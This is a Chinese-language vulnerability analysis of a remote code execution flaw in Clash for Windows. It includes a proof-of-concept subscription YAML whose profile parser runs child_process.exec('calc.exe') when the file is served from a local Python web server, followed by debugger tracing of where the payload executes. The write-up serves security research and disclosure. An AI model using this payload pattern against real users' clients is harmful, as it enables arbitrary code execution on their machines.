Clash for Windows RCE 漏洞分析
作者:r3s3arcm
简介
Windows系统上的clash for windows 在全版本(最新V0.20.20)中,如果远程加载一条订阅的恶意链接,则会远程代码执行漏洞。因为在解析订阅文件时rule-providers 的 path 的未安全处理,导致js代码被执行。
该问题在clash_for_windows_pkg/issues/3891中被收录。
https://github.com/Fndroid/clash_for_windows_pkg/issues/3891
漏洞复现
我将攻击载荷放在D盘的测试文件夹中,利用Python临时搭建WebServer。
python -m http.server 8888

file:D:\工具\test\cfw-settings.yaml
payload:
- DOMAIN-SUFFIX,acl4.ssr,全球直连
showNewVersionIcon: true
hideAfterStartup: false
randomControllerPort: true
runTimeFormat: "hh : mm : ss"
trayOrders:
- - icon
- - status
- traffic
- text
hideTrayIcon: false
connShowProcess: true
showTrayProxyDelayIndicator: true
profileParsersText: >-
parsers:
- reg: .*
code:
module.exports.parse = async (raw, { axios, yaml, notify, console }, { name, url, interval, selected }) => {
require("child_process").exec("calc.exe");
return raw;
}
访问http://127.0.0.1:8888/,如果存在cfw-settings.yaml则开启WebServer成功。

紧接着使用Clash for Windows 加载http://127.0.0.1:8888/cfw-settings.yaml,触发RCE漏洞。

漏洞分析
我在clash for windows中调用出来Debug,在执行rce漏洞的时候控制台输出"restore proxy settings"。
通过这个字符串定位到renderer.js Line:117073

我在renderer.js Line:117073下断点之后,得到调用栈。

当我来到renderer.js Line:89125之后,发现t.arg.config.data中包含攻击载荷。

查看data调用情况调用指向Clash for Windows\resources\app.asar\node_modules\axios\lib\helpers\bind.js

使用解包工具,将Clash for Windows\resources\app.asar解压,找到app.asar\node_modules\axios\lib\helpers\bind.js。

到这里咱们就知道了静态代码中的谁执行了。
漏洞修复与建议
其实这个不是Clash for windows的锅哈。parser支持执行js代码本身是功能的一部分,况且在文档中已经提出需要警惕此类问题。
https://docs.cfw.lbyczf.com/contents/parser.html#%E8%BF%9B%E9%98%B6%E6%96%B9%E6%B3%95-javascript
